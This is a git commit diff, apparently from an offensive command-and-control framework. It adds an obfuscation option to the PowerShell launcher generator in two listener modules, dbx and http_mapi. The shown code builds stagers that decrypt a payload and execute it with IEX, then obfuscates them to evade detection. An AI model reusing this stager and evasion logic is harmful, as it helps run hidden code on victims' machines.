Fixed generate_launcher function sig for dbx and http_mapi listeners
parent
4c513d2551
commit
071fd99aba
|
@ -146,7 +146,7 @@ class Listener:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
|
||||||
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
|
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
|
||||||
"""
|
"""
|
||||||
Generate a basic launcher for the specified listener.
|
Generate a basic launcher for the specified listener.
|
||||||
"""
|
"""
|
||||||
|
@ -251,8 +251,10 @@ class Listener:
|
||||||
# decode everything and kick it over to IEX to kick off execution
|
# decode everything and kick it over to IEX to kick off execution
|
||||||
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
|
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
|
||||||
|
|
||||||
|
if obfuscate:
|
||||||
|
stager = helpers.obfuscate(stager, obfuscationCommand=obfuscationCommand)
|
||||||
# base64 encode the stager and return it
|
# base64 encode the stager and return it
|
||||||
if encode:
|
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
|
||||||
return helpers.powershell_launcher(stager, launcher)
|
return helpers.powershell_launcher(stager, launcher)
|
||||||
else:
|
else:
|
||||||
# otherwise return the case-randomized stager
|
# otherwise return the case-randomized stager
|
||||||
|
|
|
@ -152,7 +152,7 @@ class Listener:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
|
||||||
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
|
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
|
||||||
"""
|
"""
|
||||||
Generate a basic launcher for the specified listener.
|
Generate a basic launcher for the specified listener.
|
||||||
"""
|
"""
|
||||||
|
@ -227,9 +227,11 @@ class Listener:
|
||||||
# decode everything and kick it over to IEX to kick off execution
|
# decode everything and kick it over to IEX to kick off execution
|
||||||
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
|
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
|
||||||
|
|
||||||
|
if obfuscate:
|
||||||
|
stager = helpers.obfuscate(stager, obfuscationCommand=obfuscationCommand)
|
||||||
# base64 encode the stager and return it
|
# base64 encode the stager and return it
|
||||||
if encode:
|
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
|
||||||
return helpers.powershell_launcher(stager)
|
return helpers.powershell_launcher(stager, launcher)
|
||||||
else:
|
else:
|
||||||
# otherwise return the case-randomized stager
|
# otherwise return the case-randomized stager
|
||||||
return stager
|
return stager
|
||||||
|
|
Loading…
Reference in New Issue